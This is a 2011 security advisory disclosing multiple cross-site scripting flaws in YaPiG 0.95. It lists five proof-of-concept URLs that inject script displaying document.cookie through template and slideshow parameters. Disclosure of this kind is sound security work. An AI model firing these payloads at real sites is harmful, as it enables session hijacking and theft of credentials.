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HTB22962: Multiple XSS in YaPiG
From: advisory () htbridge ch
Date: Tue, 3 May 2011 15:27:24 +0200 (CEST)

Vulnerability ID: HTB22962
Reference: http://www.htbridge.ch/advisory/multiple_xss_in_yapig.html
Product: YaPiG (Yet Another PHP Image Gallery)
Vendor: http://yapig.sourceforge.net/ ( http://yapig.sourceforge.net/ ) 
Vulnerable Version: 0.95
Vendor Notification: 19 April 2011 
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/template/default/" scripts to properly sanitize user-supplied input 
then register_globals on. 
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based 
authentication credentials, disclosure or modification of sensitive data.
The following PoC is available:  


http://[host]/template/default/add_comment_form.php?I_ADD_COMMENT=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/template/default/admin_task_bar.php?I_ADMIN_TASKS=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/template/default/delete_gallery_form.php?I_SELECT_OPT=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/template/default/face_begin.php?I_TITLE=%3C/title%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


The vulnerability exists due to failure in the "slideshow.php" scripts to properly sanitize user-supplied input. 
The following PoC is available:  


http://[host]/slideshow.php?interval=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E




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